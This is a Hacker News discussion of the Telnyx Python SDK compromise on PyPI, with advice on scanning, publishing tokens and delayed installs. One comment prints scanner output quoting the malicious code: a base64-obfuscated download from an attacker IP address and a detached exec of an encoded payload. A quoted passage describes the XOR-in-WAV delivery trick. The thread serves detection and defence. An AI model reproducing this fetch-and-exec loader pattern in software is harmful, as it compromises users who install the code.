[HN Gopher] Telnyx package compromised on PyPI
       ___________________________________________________________________
        
       Telnyx package compromised on PyPI
        
       https://github.com/team-telnyx/telnyx-python/issues/235
       https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
        
       Author : ramimac
       Score  : 65 points
       Date   : 2026-03-27 08:57 UTC (14 hours ago)
        
 (HTM) web link (telnyx.com)
 (TXT) w3m dump (telnyx.com)
        
       | ramimac wrote:
       | We haven't blogged this yet, but a variety of teams found this in
       | parallel.
       | 
       | The packages are quarantined by PyPi
       | 
       | Follow the overall incident: https://ramimac.me/teampcp/#phase-10
       | 
       | Aikido/Charlie with a very quick blog:
       | https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...
       | 
       | ReversingLabs, JFrog also made parallel reports
        
         | Imustaskforhelp wrote:
         | Ramimac, has there been any action on having the c2 server's ip
         | address being blacklisted?
         | 
         | The blast radius of TeamPCP just keeps on increasing...
        
         | Scaevolus wrote:
         | I'm glad there's many teams with automated scans of pypi and
         | npm running. It elevates the challenge of making a backdoor
         | that can survive for any length of time.
        
       | TZubiri wrote:
       | Shoutouts to all the real engineers who use a generic http client
       | to call APIs and weren't impacted by this.
        
       | carlsborg wrote:
       | Anthropic/OpenAI could own this space. They should offer a paid
       | service that offers a mirror with LLM scanned and sandbox-
       | evaluated package with their next gen models. Free for
       | individuals, orgs can subscribe to it.
        
         | oblvious-earth wrote:
         | OpenAI just acquired Astral who have an index service called
         | pyx, so they would have a step up.
         | 
         | My understanding though is most corporations that take security
         | seriously either build everything themselves in a sandbox, or
         | use something like JFrog's Artifactory with various security
         | checks, and don't let users directly connect to public indexes.
         | So I'm not sure what the market is.
        
           | doc_ick wrote:
           | There's also virustotal, any.run, probably a few others
           | outside of GitHub/gitlab scans
        
         | andrepd wrote:
         | Genuinely cannot tell whether this is satire.
        
         | firesteelrain wrote:
         | Own what space ?
        
         | johndough wrote:
         | Judging by curl shutting down its bug bounty program due to AI
         | slop, a likely outcome would be that this mirror has no
         | packages because they are all blocked by false positives.
        
         | dmitrygr wrote:
         | Detecting properly-written malicious code is undecidable. No
         | amount of snake oil fixes that
        
       | slowmovintarget wrote:
       | Telnyx provides voice capabilities for OpenClaw for those
       | wondering.
        
         | indigodaddy wrote:
         | They should add voip.ms. it's better all around I think
        
           | _JamesA_ wrote:
           | Voip.ms is great for a simple SIP trunk but it has almost
           | none of the programmable voice and other features of Telnyx
           | or Twilio.
        
             | indigodaddy wrote:
             | ah yeah, I'm about to setup a grandstream ht801 for a voip
             | home phone so I probably dont need all that
        
             | RulerOf wrote:
             | A number of years ago I wanted to drop a webhook when a
             | call came in on VoIP.ms but couldn't find any way to do it
             | natively.
             | 
             | Ended up sticking a twilio endpoint in the ring group with
             | a "press 1 to accept this call" message so it wouldn't eat
             | the call, then was able to fire an http request with the
             | call details.
             | 
             | It worked well, although I admit I was a little annoyed I
             | couldn't do it directly with VoIP.ms.
        
       | f311a wrote:
       | They did not even try to hide the payload that much.
       | 
       | Every basic checker used by many security companies screams at
       | `exec(base64.b64decode` when grepping code using simple regexes.
       | hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip  --min-
       | confidence high  --exclude HX4000            warning[HX9000]:
       | Potential data exfiltration with Decoded data via
       | urllib.request.request.Request.            +- 2026-03-27-telnyx-v
       | 4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
       | 86:13            |       7783 |         except:       7784 |
       | pass       7785 |       7786 |         r = urllib.request.Request
       | (_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='),
       | headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
       | |             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
       | ^^^^^^^^^^^^^^^^^^^^^^^^ HX9000       7787 |         with
       | urllib.request.urlopen(r, timeout=15) as d:       7788 |
       | with open(t, "wb") as f:       7789 |
       | f.write(d.read())            |            = Confidence: High
       | Help: Data exfiltration is the unauthorized transfer of data from
       | a computer.                 warning[HX4010]: Execution of
       | obfuscated code.            +- 2026-03-27-telnyx-v4.87.1.zip:tmp/
       | tmp_79rk5jd/telnyx/telnyx/_client.py:78       10:9            |
       | 7807 |       if os.name == 'nt':       7808 |           return
       | 7809 |       try:       7810 | +         subprocess.Popen(
       | 7811 | |             [sys.executable, "-c", f"import base64;
       | exec(base64.b64decode('{_p}').decode())"],       7812 | |
       | stdout=subprocess.DEVNULL,       7813 | |
       | stderr=subprocess.DEVNULL,       7814 | |
       | start_new_session=True       7815 | |         )            |
       | +---------^ HX4010       7816 |       except:       7817 |
       | pass       7818 |            |            = Confidence: VeryHigh
       | Help: Obfuscated code exec can be used to bypass detection.
        
         | m000 wrote:
         | Are there more tools like hexora?
        
           | f311a wrote:
           | GuardDog, but it's based on regexes
        
       | viscousviolin wrote:
       | Is there a notification channel you can subscribe to / look at if
       | you want to stay up to date on compromised PyPI packages?
        
         | woodruffw wrote:
         | You can use the PYSEC[1] or OSV[2] databases.
         | 
         | [1]: https://github.com/pypa/advisory-
         | database/blob/main/vulns/te...
         | 
         | [2]: https://osv.dev/vulnerability/MAL-2026-2254
        
           | viscousviolin wrote:
           | Thank you!
        
         | dmitrygr wrote:
         | Yes. news.ycomhinator.com
        
       | dlcarrier wrote:
       | At this point, I'm not updating anything using Python.
       | 
       | Not that I had the option anyway, because everything using Python
       | breaks if you update it. You know they've given up on backward
       | comparability and version control, when the solution is: run
       | everything in a VM, with its own installation. Apparently it's
       | also needed for security, but the VMs aren't really set up to be
       | secure.
       | 
       | I don't get why everything math heavy uses it. I blame MATLAB for
       | being so awful that it made Python look good.
       | 
       | It's not even the language itself, not that it doesn't have its
       | own issues, or the inefficient way it's executed, but the
       | ecosystem around it is so made out of technical debt.
        
         | akx wrote:
         | Sounds like you're not familiar with https://docs.astral.sh/uv/
         | ...
        
         | TZubiri wrote:
         | Agree. I was working on an open source package, noticed
         | something weird, and noticed the size of the uv.lock and got a
         | bit scared.
         | 
         | It's a pandemic, I will be hardening my security, and rotating
         | my keys just in case.
        
         | paulddraper wrote:
         | Python is genuinely a pleasant syntax and experience. [1]
         | 
         | It's the closest language to pseudocode that exists.
         | 
         | Like every other language from 1991, it has rough edges.
         | 
         | [1] https://xkcd.com/353/
        
       | jbrowning wrote:
       | > The payload isn't delivered as a raw binary or a Python file.
       | It's disguised as a .wav audio file.
       | 
       | > The WAV file is a valid audio file. It passes MIME-type checks.
       | But the audio frame data contains a base64-encoded payload.
       | Decode the frames, take the first 8 bytes as the XOR key, XOR the
       | rest, and you have your executable or Python script.
       | 
       | Talk about burying the lede.
        
         | consp wrote:
         | I've seen it at least once in code from a big car manufacturer
         | who encrypted their software or parts of it to avoid you
         | reading the xml files. They use a key, split into two or more
         | parts, hidden as the first bytes of some file or as plain text
         | somewhere it would not be out of order, then recombine, run
         | through an deobfuscation function to be an old fashioned DES or
         | XOR key to decrypt the (usually XML, could have been a
         | different key format it's been a while) files. It's not that
         | uncommon. It's also security theater. Funny part is they didn't
         | obfuscate the code to read the key.
        
         | ac29 wrote:
         | I was really hoping the audio file was going to be AFSK or
         | someting
        
       | charcircuit wrote:
       | 2FA needs to be required for publishing packages. An attacker
       | compromising someone's CI should not give them free reign to
       | publish malicious packages at any time they want.
        
         | woodruffw wrote:
         | In a lot of cases, it's not really clear _whose_ second factor
         | would authorize publishing a package that was uploaded from a
         | CI /CD system. Is it any project owner? Anyone from the same
         | GitHub organization? etc.
         | 
         | > An attacker compromising someone's CI should not give them
         | free reign to publish malicious packages at any time they want.
         | 
         | Agreed, that's why a lot of packaging ecosystems (including
         | PyPI) have moved towards schemes that involve self-scoping,
         | self-expiring tokens. The CI can still publish, but the
         | attacker can no longer exfiltrate the publishing credential and
         | use it indefinitely later.
         | 
         | (These schemes are not mandatory, because they can't be.)
        
           | charcircuit wrote:
           | The 2FA of whatever account is publishing the package. I'm
           | pretty sure Pypi already has this figured out except they
           | seem to allow you to make an API key which just bypasses
           | checking a 2nd factor.
        
             | woodruffw wrote:
             | Which account _is_ publishing the package, in a CI /CD
             | context? It's not clear that any particular account is,
             | since the set of people who can trigger a workflow in CI/CD
             | aren't necessarily (and in fact aren't often) the same set
             | of people who can create an API token on PyPI.
        
         | sigseg1v wrote:
         | but then how can we deploy our vibe coded PRs we didn't review
         | at a pace of 40 deploys per day?
        
         | paulddraper wrote:
         | Sounds like 2FA should be required for CI.
        
       | oncallthrow wrote:
       | I think it's only a matter of time at this point before a
       | devastating supply chain attack occurs.
       | 
       | Supply-chain security is such a dumpster fire, and threat actors
       | are realising that they can use LLMs to organize such attacks.
        
       | ilaksh wrote:
       | The way I use Telynx is via SIP which is an open protocol. No
       | reason we should be relying on proprietary APIs for this stuff.
       | 
       | On GitHub see my fork runvnc/PySIP. Please let me know if you
       | know if something better for python that is not copy left or rely
       | on some copy left or big external dependency. I was using baresip
       | but it was a pain to integrate and configure with python.
       | 
       | Anyway, after fixing a lot in the original PySIP my version works
       | with Telynx. Not tested on other SIP providers.
        
       | rvz wrote:
       | That's not good. Time to raise the package security draw bridge
       | on vibe coders.
        
         | doug_durham wrote:
         | In what world does professional hackers intersect with vibe
         | coding? This is a professional attack. Not some amateur script
         | kiddie action.
        
       | ivanvanderbyl wrote:
       | Has anyone here used Telnyx? I tried to build a product against
       | their API last year and 3 weeks after signing up they banned my
       | account and made it impossible to get an answer as to why or re-
       | enable it.
        
         | TZubiri wrote:
         | I like it so far. Did you call phone support at the time and
         | ask about it? I find it's easy enough to get in a call with a
         | human.
        
           | ivanvanderbyl wrote:
           | I did, they asked me to open a support ticket, which I did,
           | and the last response I got was:
           | 
           | > We've reviewed the details you provided and updated your
           | case with the necessary information. It is now being routed
           | to the appropriate team for further support.
           | 
           | That was July 2025!
        
       | mil22 wrote:
       | For those using _uv_ , you can at least partially protect
       | yourself against such attacks by adding this to your
       | _pyproject.toml_ :                 [tool.uv]       exclude-newer
       | = "7 days"
       | 
       | or this to your _~ /.config/uv/uv.toml_:                 exclude-
       | newer = "7 days"
       | 
       | This will prevent _uv_ picking up any package version released
       | within the last 7 days, hopefully allowing enough time for the
       | community to detect any malware and yank the package version
       | before you install it.
        
         | TZubiri wrote:
         | Nice feature. However uv is suspect at the moment, in the sense
         | that it is designed as a pip replacement to overcome issues
         | that only exist when supply chains are of a size that isn't
         | safe to have.
         | 
         | So any project that has UV and any developer that tries to get
         | uv into a project is on average less safe than a project that
         | just uses pip and a requirements.txt
        
           | Imustaskforhelp wrote:
           | I really am not able to follow this line of reasoning, I am
           | not sure if what you said makes sense and how it relates to
           | uv having a security feature to be on average less safe :/
        
             | thewebguyd wrote:
             | I believe they are saying that by the time you need
             | something like uv, your project already has too many
             | dependencies. Its the unnecessarily large supply chain
             | that's the problem, and uv exists to solve a problem that
             | you should try to avoid in the first place.
             | 
             | I think uv is great, but I somewhat agree. We see this
             | issue with node/npm. We need smaller supply chains/less
             | dependencies overall, not just bandaiding over the poor
             | decisions with better dependency management tooling.
        
               | Imustaskforhelp wrote:
               | Ah this simplifies what they were saying.
               | 
               | I agree with it that dependency management should be made
               | easier. To be honest, I really like how golang's
               | dependency and how golang's community works around
               | dependencies and how golang has a really great stdlib to
               | work with and how the community really likes to rely on
               | very little depenendencies for the most part as well.
               | 
               | Maybe second to that, Zig is interesting as although I
               | see people using libraries, its on a much lower level
               | compared to rust/node/python.
               | 
               | Sadly, rust suffers from the same dependency issue like
               | node/python.
        
               | catgary wrote:
               | This line of thought is honestly a bit silly - uv is just
               | a package manager that actually does its job for
               | resolving dependencies. You're talking about a completely
               | orthogonal problem.
        
               | zahlman wrote:
               | > uv is just a package manager that actually does its job
               | for resolving dependencies.
               | 
               | Pip resolves dependencies just fine. It just also lets
               | you try to build the environment incrementally (which is
               | actually useful, especially for people who _aren 't_
               | "developers" on a "project"), and is slow (for a lot of
               | reasons).
        
           | sdoering wrote:
           | Sorry - call me uninformed. But I do not really understand
           | how choosing uv makes me less safe than using pip.
           | 
           | Care to explain? Would love to learn.
        
             | jcass8695 wrote:
             | It is a bit of a leap. They are saying that if you are
             | using uv, then you likely have a broad set of dependencies
             | because you require a dependency management tool, therefore
             | you are more susceptible to a supply chain attack by virtue
             | of having a wider attack surface.
        
               | sdoering wrote:
               | Ahhhhhh thanks a ton. Now I get it. Meaning I get what
               | you are saying. Not what they were implying. But yeah. I
               | can understand at least how one could arrive at that
               | idea.
               | 
               | To me personally this idea still sounds a bit off - but
               | as a heuristic it might have some merit in certain
               | circumstances.
        
           | paulddraper wrote:
           | Huh?
           | 
           | Wanting a better pip means I am unsafe?
        
           | joshred wrote:
           | This is complete nonsense. pip has all the same problems that
           | you say uv has.
        
         | notatallshaw wrote:
         | Pip maintainer here, to do this in pip (26.0+) now you have to
         | manually calculate the date, e.g. --uploaded-prior-to="$(date
         | -u -d '3 days ago' '+%Y-%m-%dT%H:%M:%SZ')"
         | 
         | In pip 26.1 (release scheduled for April 2026), it will support
         | the day ISO-8601 duration format, which uv also supports, so
         | you will be able to do --uploaded-prior-to=P3D, or via env vars
         | or config files, as all pip options can be set in either.
        
         | __mharrison__ wrote:
         | Love it! Let those pip users find the compromised packages for
         | us uv users.
        
           | bombcar wrote:
           | Until everyone waits 7 days to install everything so the
           | compromise is discovered on the 8th day.
           | 
           | End result will be everyone runs COBOL only.
        
             | gonzalohm wrote:
             | Or just scan all GitHub repos, find their .toml definition.
             | Calculate the median and then add 7 days to that. That way
             | you are always behind.
        
             | zar1048576 wrote:
             | :-) That might not even be enough as I hear (but haven't
             | verified) that Claude does a pretty good job of making
             | sense out of legacy COBOL code!
        
             | anthk wrote:
             | Or Forth with scientific library, bound to the constraints.
             | Put some HTTP library on top and some easy HTML interface
             | from a browser with no JS/CSS3 support at all. It will look
             | rusty but unexploitable.
             | 
             | Enterprise computing with custom software will make a
             | comeback to avoid these pitfalls. I depise OpenJDK/Mono
             | because of patents but at least they come with complete
             | defaults and a 'normal' install it's more than enough to
             | ship a workable application for almost every OS. Ah, well,
             | smartphones. Serious work is never done with these tools,
             | even with high end tables. Maybe commercials/salespeople
             | and that's it.
             | 
             | It's either that... or promoting reproducible environment
             | with Guix everywhere. Your own Guix container, isolated,
             | importing Pip/CPAN/CTAN/NPM/OPAM and who knows else into a
             | manifest file and ready to ship anywhere, either as a Guix
             | package, a Docker container (Guix can do that), a single
             | DEB/RPM, an AppImage ready to launch on any modern
             | GNU/Linux with a desktop and a lot more.
        
         | jmward01 wrote:
         | I am a slow adopter of uv. I'll be honest, its speed has never
         | been a big deal to me and, in general, it is YAPT (yet another
         | package tool), but this one feature may make me reconsider.
         | Pinning versions is less than perfect but I would really like
         | to be able to stay XXX days behind exactly for this reason.
         | 
         | I think the python community, and really all package managers,
         | need to promote standard cache servers as first class citizens
         | as a broader solution to supply chain issues. What I want is a
         | server that presents pypi with safeguards I choose. For
         | instance, add packages to the local index that are no less than
         | xxx days old (this uv feature), but also freeze that unless an
         | update is requested or required by a security concern, scan
         | security blacklists to remove/block packages and versions that
         | have been found to have issues. Update the cache to allow a
         | specific version bump. That kind of thing. Basically, I have
         | several projects and I just want to do a pip install but
         | against my own curated pypi. I know this is the intent of
         | virtual envs/lock files, etc, but coordinating across projects
         | and having my own server to grab from when builds happen
         | (guaranteeing builds won't fail) is import. At a minimum it
         | would be good to have a 'curated.json' or something similar
         | that I could point pip/other package managers to to enforce
         | package policies across projects. These supply chain attacks
         | show that all it takes is a single update and your are in big
         | trouble so we, unfortunately, need more layers of defense.
        
           | zahlman wrote:
           | > I think the python community, and really all package
           | managers, need to promote standard cache servers as first
           | class citizens as a broader solution to supply chain issues.
           | What I want is a server that presents pypi with safeguards I
           | choose. For instance, add packages to the local index that
           | are no less than xxx days old (this uv feature), but also
           | freeze that unless an update is requested or required by a
           | security concern, scan security blacklists to remove/block
           | packages and versions that have been found to have issues.
           | Update the cache to allow a specific version bump. That kind
           | of thing.
           | 
           | FWIW, https://pypi.org/project/bandersnatch/ is the standard
           | tool for setting up a PyPI mirror, and
           | https://github.com/pypi/warehouse is the codebase for PyPI
           | itself (including the actual website, account management
           | etc.).
           | 
           | If "my own curated pypi" extends as far as a whitelist of
           | build artifacts, you can just make a local "wheelhouse"
           | directory of those, and pass `--no-index` and `--find-links
           | /path/to/wheelhouse` in your `pip install` commands (I'm sure
           | uv has something analogous).
        
         | madushan1000 wrote:
         | I really wish uv had some sandboxing built in.
        
           | woodruffw wrote:
           | Please open an issue on the uv tracker! This is a design
           | space we're actively thinking about, and it's valuable to
           | hear user perspectives on what they would and wouldn't want a
           | sandbox to do.
        
       | jlundberg wrote:
       | We have always been API first rather than SDK first.
       | 
       | Never really thought too much about the security implications but
       | that is of course a benefit too.
       | 
       | Main reasoning for us has been to aim for a really nice HTTP API
       | rather than hide uglyness with an SDK on top.
        
       | LoganDark wrote:
       | I used to use Telnyx many years ago, but was squeezed out when
       | they started adding layer after layer of mandatory identity
       | verification. Nope.
        
       | indigodaddy wrote:
       | Hah, need to setup a Grandstream HT801 this weekend and this
       | cements my decision to use voip.ms vs telnyx. Not that the device
       | would use that library (have no idea), but just, yeah generally,
       | it's a good cue to stay away for me.
        
       | infinitewars wrote:
       | Is this happening in part due to the sheer volume of pull-
       | requests with AI generated code.. things are slipping through?
        
       | spocchio wrote:
       | Is there anyone who uses it? I see their repo's Initial Commit
       | was on Jan 2026... quite a new package! Also, the number of
       | GitHub stars and forks is quite low.
       | 
       | Does the package have a user base, or did the malicious team
       | target one of the many useless GitHub repos?
        
         | KomoD wrote:
         | > I see their repo's Initial Commit was on Jan 2026... quite a
         | new package!
         | 
         | That's incorrect, the repo and package date back to 2019
        
       | deathanatos wrote:
       | > _The Telnyx platform, APIs, and infrastructure were not
       | compromised. This incident was limited to the PyPI distribution
       | channel for the Python SDK._
       | 
       | Am I being too nitpicky to say that that _is_ part of your
       | infrastructure?
       | 
       | Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA,
       | no?
        
       | kelvinjps10 wrote:
       | I received an email from them about the vulnerability but I don't
       | remember ever using them
        
       | 6thbit wrote:
       | So both this and litellm went straight to PyPI without going to
       | GitHub first.
       | 
       | Is there any way to setup PyPI to only publish packages that come
       | from a certain pattern of tag that exists in GH? Would such a
       | measure help at all here?
        
         | aniceperson wrote:
         | Don't have the token on your hands. Use OICD ideally, or make
         | sure to setup carefully as a repository secret. Ensure the
         | workflow runs in a well permission read, minimal dependency
         | environment. The issue with OICD is that it does not work with
         | nested workflows because github does not propagate the claims.
        
       | anthk wrote:
       | The Guix PM in this context can create an isolated environment
       | and import PyPI packages for you adapted into Guix Scheme
       | manifest files. Not just Python, Perl, Ruby, Node... if you have
       | to use dangerous our propietary environments for the enterprise,
       | (not for personal computing), at least isolate them so the
       | malware doesn't spread over.
        
       ___________________________________________________________________
       (page generated 2026-03-27 23:00 UTC)